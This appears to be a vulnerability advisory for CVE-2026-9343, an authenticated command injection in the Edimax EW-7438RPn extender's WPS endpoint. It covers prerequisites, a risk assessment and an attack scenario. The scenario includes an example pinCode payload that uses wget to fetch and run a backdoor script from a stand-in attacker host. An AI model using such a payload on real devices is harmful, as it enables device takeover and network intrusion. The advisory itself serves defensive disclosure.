Edimax EW-7438RPn CVE-2026-9343

Low-privilege authentication to the Edimax EW-7438RPn web management interface is required (CVSS PR:L). Specifically, the attacker must have valid credentials for the device's administrative portal, typically accessed via HTTP/HTTPS on standard ports (80/443) or custom management ports. Exploitation targets the WPS configuration feature accessible at the /goform/formWpsStart endpoint - if WPS functionality is disabled via alternate configuration methods that completely remove this endpoint, exploitation may not be possible, though this is unlikely in standard firmware builds. Network-based exploitation (CVSS AV:N) means the device must be reachable over TCP/IP networks; devices accessible only via local Ethernet without internet exposure face reduced risk from external threat actors. No special user interaction (UI:N) or complex timing requirements exist. Primary limiting factor is credential acquisition - devices with changed default passwords and not exposed to credential stuffing or phishing attacks have lower exploitation probability, but SOHO environments commonly leave default credentials unchanged, making this a realistic attack path.

Real-world risk assessment indicates moderate-to-high concern despite the 6.3 CVSS base score. Critical risk factors: CVSS vector shows network-accessible exploitation (AV:N) with low attack complexity (AC:L) and no user interaction required (UI:N), making this straightforward to exploit once authenticated. Public exploit code exists (E:P in temporal metrics), dramatically lowering the barrier for opportunistic attacks. The PR:L (low privileges required) indicates authentication is needed, which somewhat limits exposure compared to unauthenticated RCE. However, IoT devices frequently have default credentials or weak passwords, especially in SOHO environments. Most concerning is vendor non-responsiveness (RL:X - no remediation available), meaning affected devices will remain vulnerable indefinitely unless replaced. The combination of public exploit, no patch, and typical IoT credential hygiene issues creates substantial risk for internet-facing deployments. Exploitation likelihood increases if devices use default credentials or are targeted in credential-stuffing campaigns. SSVC assessment: exploitation is proven (POC public), automatable (straightforward HTTP exploitation), technical impact is total (arbitrary command execution likely as root), warranting immediate action for exposed devices.

An attacker identifies an Edimax EW-7438RPn range extender exposed on the internet through Shodan or routine network scanning. Using default credentials (commonly unchanged on IoT devices) or credentials obtained from password reuse attacks, the attacker authenticates to the web management interface. They then send a crafted HTTP POST request to /goform/formWpsStart with malicious shell commands injected into the pinCode parameter (e.g., pinCode=1234;wget http://attacker.com/backdoor.sh -O /tmp/bd.sh;sh /tmp/bd.sh). The vulnerable formWpsStart function executes the injected commands, downloading and running a persistent backdoor script that establishes reverse shell access. The attacker now has root-level command execution on the device, enabling network traffic interception, pivot attacks to internal network segments, or recruitment into a botnet. Public exploit code simplifies this attack to script-kiddie level.